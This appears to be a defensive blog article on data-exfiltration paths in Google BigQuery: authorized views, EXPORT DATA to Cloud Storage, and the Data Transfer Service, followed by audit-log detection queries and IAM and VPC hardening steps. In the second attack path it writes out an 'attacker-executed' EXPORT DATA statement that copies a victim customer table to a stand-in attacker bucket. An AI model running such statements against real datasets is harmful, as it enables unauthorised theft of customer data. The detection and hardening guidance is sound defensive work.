Cloud Security Wire
AWS Azure GCP RSS
GCP Breach Analysis

GCP BigQuery Data Exfiltration: How Authorized Views and External Tables Become Silent Exfil Channels

BigQuery's authorized views, cross-project dataset sharing, and external table features are legitimate data access mechanisms that attackers abuse to exfiltrate data without triggering conventional data loss controls. This guide covers the attack paths, detection logic using BigQuery audit logs, and hardening steps.

By Cloud Security Wire · ·
#GCP#BigQuery#data exfiltration#authorized views#external tables#IAM#data access#cloud security#Google Cloud#audit logs#CMEK#dataset sharing

BigQuery is where organisations put their most sensitive data: transaction records, customer PII, health data, financial models, and AI training datasets. It is also a service whose sharing mechanisms are designed for breadth — cross-project queries, authorized views, federated data access, scheduled exports — and where data loss controls that work on traditional databases don’t map cleanly.

Three BigQuery features in particular create exfiltration paths that are both effective and underdetected:

  1. Authorized views: Granting another project read access to a subset of your data via a view
  2. External tables: Mounting attacker-controlled Cloud Storage buckets as BigQuery tables, then using INSERT INTO SELECT to copy data out
  3. BigQuery Data Transfer Service: Scheduled exports to attacker-controlled destinations

This guide covers how attackers exploit each path, what BigQuery audit logs capture, and how to close the exposure.

Attack Path 1: Authorized Views for Cross-Project Data Exfiltration

How It Works

Authorized views allow you to share a BigQuery view with another project without exposing the underlying tables. The legitimate use case is sharing a filtered view of sensitive data with an analytics team in a different project.

An attacker with bigquery.datasets.update permission (included in roles/bigquery.dataOwner) can add a view in an attacker-controlled project as an authorized view in the victim’s dataset. Once authorized, that view can query the victim’s tables — including joining them, filtering them, and writing results to tables in the attacker’s project via a scheduled query.

The victim’s dataset audit log shows the authorization being added. The actual data access then occurs from the attacker’s project, and the query logs appear in that project’s audit trail, not the victim’s. Cross-project query logging is easy to miss if you’re only monitoring your own project’s logs.

The Permission Chain

Attacker has: bigquery.datasets.update on victim dataset
→ Attacker adds their project's service account as an authorized view
→ Attacker creates a scheduled query in their project: 
  SELECT * FROM `victim-project.dataset.table`
→ Data flows to attacker's project with no network exfiltration indicators

Detection

-- BigQuery audit log query for authorized view additions
SELECT
  timestamp,
  protopayload_auditlog.authenticationInfo.principalEmail AS actor,
  protopayload_auditlog.resourceName AS resource,
  JSON_EXTRACT_SCALAR(protopayload_auditlog.metadataJson, 
    '$.datasetChange.reason') AS change_reason,
  protopayload_auditlog.requestJson AS request_detail
FROM `PROJECT.DATASET.cloudaudit_googleapis_com_data_access`
WHERE timestamp > TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 7 DAY)
  AND protopayload_auditlog.methodName = 'google.cloud.bigquery.v2.DatasetService.UpdateDataset'
  AND protopayload_auditlog.requestJson LIKE '%authorizedViews%'
ORDER BY timestamp DESC;

Hardening

Restrict bigquery.datasets.update to a small set of data platform administrators. Neither roles/bigquery.dataViewer nor roles/bigquery.dataEditor includes this permission — it requires roles/bigquery.dataOwner or a custom role. Audit who holds dataOwner at dataset and project level regularly.

Attack Path 2: External Tables for Outbound Data Movement

How It Works

BigQuery external tables allow you to query data stored in Cloud Storage, Google Drive, or Cloud Bigtable as though it were a native BigQuery table. An attacker can also go the other direction: create a new dataset, use CREATE EXTERNAL TABLE pointing to an attacker-controlled Cloud Storage bucket, then run INSERT INTO EXTERNAL_TABLE SELECT * FROM victim_table.

Because BigQuery doesn’t support direct INSERT into external tables (the data materialises via CTAS or export), the actual exfiltration path is EXPORT DATA OPTIONS or CREATE TABLE ... AS SELECT targeting Cloud Storage:

-- Attacker-executed in a project they control with access to victim tables
EXPORT DATA OPTIONS(
  uri='gs://attacker-controlled-bucket/exfil-*.csv',
  format='CSV',
  overwrite=true)
AS SELECT * FROM `victim-project.sensitive_dataset.customer_table`;

What Makes This Dangerous

The EXPORT DATA statement is a supported BigQuery feature. It generates an audit log entry, but if monitoring is not configured to alert on exports to external bucket paths, it goes unnoticed. The data lands in Cloud Storage controlled by the attacker, who can then gsutil-sync it out.

The required permission is bigquery.tables.export (included in roles/bigquery.dataViewer — a seemingly read-only role that in fact allows bulk export).

Detection

-- Detect BigQuery EXPORT DATA to external Cloud Storage paths
SELECT
  timestamp,
  protopayload_auditlog.authenticationInfo.principalEmail AS actor,
  protopayload_auditlog.resourceName AS source_table,
  JSON_EXTRACT_SCALAR(protopayload_auditlog.metadataJson, 
    '$.jobChange.job.jobConfig.extractConfig.destinationUris[0]') AS export_destination,
  JSON_EXTRACT_SCALAR(protopayload_auditlog.metadataJson,
    '$.jobChange.job.jobStats.extractStats.destinationUriFileCounts[0]') AS file_count
FROM `PROJECT.DATASET.cloudaudit_googleapis_com_data_access`
WHERE timestamp > TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 24 HOUR)
  AND protopayload_auditlog.methodName LIKE '%jobs.insert%'
  AND protopayload_auditlog.metadataJson LIKE '%EXTRACT%'
ORDER BY timestamp DESC;

Alert on any EXPORT DATA job where export_destination does not match a known, approved Cloud Storage bucket path. Your approved export destinations should be an explicit allowlist, not an implicit “our project buckets” assumption — cross-project bucket ownership is the attacker path.

Hardening

Remove bigquery.tables.export from roles granted to analyst users unless export is explicitly needed. Consider a custom role that grants bigquery.tables.getData and bigquery.jobs.create without the export permission. Alternatively, restrict outbound data movement to a controlled export service account that routes to monitored destinations only.

Enable VPC Service Controls around BigQuery: this is the most effective control for preventing data exfiltration via BigQuery APIs. A VPC Service Controls perimeter prevents BigQuery API calls that cross the perimeter boundary, including EXPORT DATA to buckets outside the perimeter.

# Check current VPC Service Controls perimeter configuration
gcloud access-context-manager perimeters list --policy=POLICY_ID

# Add BigQuery to a restricted services perimeter
gcloud access-context-manager perimeters update PERIMETER_NAME \
  --add-restricted-services=bigquery.googleapis.com \
  --policy=POLICY_ID

Attack Path 3: BigQuery Data Transfer Service for Scheduled Exfiltration

How It Works

BigQuery Data Transfer Service supports scheduled transfers to various destinations. An attacker with access to a project can configure a transfer job that periodically exports BigQuery data to Cloud Storage, then configure a Cloud Storage transfer to move it to attacker-controlled infrastructure.

The BigQuery Data Transfer Service API call is bigquerydatatransfer.googleapis.com — it appears in Cloud Audit Logs under Data Access logs, but only if that service’s audit logging is explicitly enabled (it is not on by default for all operations).

Detection Gap

Many environments have BigQuery audit logging configured but don’t include bigquerydatatransfer.googleapis.com in the scope. Verify your Cloud Audit Log configuration:

# Check which services have data access audit logging enabled
gcloud organizations get-iam-policy ORGANIZATION_ID \
  --format=json | jq '.auditConfigs[] | 
    select(.service | contains("bigquery"))'

If bigquerydatatransfer is not listed, Data Transfer Service operations generate no audit trail in your logging sink.

Hardening

Add bigquerydatatransfer.googleapis.com to your Cloud Audit Log data access configuration. Alert on any new transfer configuration creation, particularly those involving service accounts not in your approved list.

IAM Baseline for BigQuery

Most BigQuery exfiltration paths require permissions that are over-granted in typical deployments. The table below maps attack paths to the minimum required permission:

Attack PathMinimum Required PermissionDefault Role Granting It
Add authorized viewbigquery.datasets.updateroles/bigquery.dataOwner
EXPORT DATAbigquery.tables.exportroles/bigquery.dataViewer
Create transfer jobbigquery.transfers.updateroles/bigquery.admin
Cross-project querybigquery.tables.getDataroles/bigquery.dataViewer

The bigquery.tables.export permission being included in dataViewer is the most counterintuitive. Most security teams assume viewer-level access is safe for broad analyst grants. In BigQuery, it enables bulk data export. Review who holds roles/bigquery.dataViewer at dataset and project level.

Detecting Anomalous Query Volume

Beyond the specific API-level detections, anomaly-based detection on query bytes processed is effective for catching large-scale exfiltration that doesn’t trigger API-level alerts:

-- BigQuery query volume anomaly detection
WITH daily_user_stats AS (
  SELECT
    DATE(creation_time) AS query_date,
    user_email,
    SUM(total_bytes_processed) AS bytes_processed,
    COUNT(*) AS query_count
  FROM `PROJECT.DATASET.INFORMATION_SCHEMA.JOBS_BY_PROJECT`
  WHERE creation_time > TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 30 DAY)
  GROUP BY query_date, user_email
),
user_baseline AS (
  SELECT
    user_email,
    AVG(bytes_processed) AS avg_bytes,
    STDDEV(bytes_processed) AS stddev_bytes
  FROM daily_user_stats
  WHERE query_date < DATE_SUB(CURRENT_DATE(), INTERVAL 7 DAY)
  GROUP BY user_email
)
SELECT
  d.query_date,
  d.user_email,
  d.bytes_processed,
  b.avg_bytes,
  (d.bytes_processed - b.avg_bytes) / NULLIF(b.stddev_bytes, 0) AS z_score
FROM daily_user_stats d
JOIN user_baseline b USING (user_email)
WHERE (d.bytes_processed - b.avg_bytes) / NULLIF(b.stddev_bytes, 0) > 3
  AND d.query_date >= DATE_SUB(CURRENT_DATE(), INTERVAL 7 DAY)
ORDER BY z_score DESC;

Flag any user or service account processing more than 3 standard deviations above their baseline in a single day. This won’t catch an attacker who paces their exfiltration slowly, but it is effective against bulk extraction.

CMEK and Access Transparency

Two additional controls for high-sensitivity BigQuery datasets:

Customer-managed encryption keys (CMEK): Encrypting BigQuery datasets with CMEK means that an attacker who exports data but loses access before decrypting it gets ciphertext they cannot use. CMEK doesn’t prevent exfiltration but degrades the value of successfully exported data. Revoke the KMS key to prevent decryption of any data already exported.

Access Transparency logs: For organisations with Google Cloud’s Access Transparency feature, Google’s own administrative access to BigQuery data is logged. This provides audit coverage for the Google support access path — relevant for high-assurance environments.

Summary

BigQuery’s data sharing features are powerful and legitimate but carry data exfiltration risk that most cloud security teams underestimate. roles/bigquery.dataViewer is not a safe grant for all analysts — it includes export capability. Authorized views create cross-project data access that generates logs in the accessing project, not yours. VPC Service Controls is the most effective control for preventing API-based exfiltration. And BigQuery Data Transfer Service audit logging is not on by default.

Audit your BigQuery IAM grants, enable data access audit logging for bigquerydatatransfer.googleapis.com, and implement export destination monitoring. The exfiltration signals are there — you just have to be looking for them.

← All Analysis Subscribe via RSS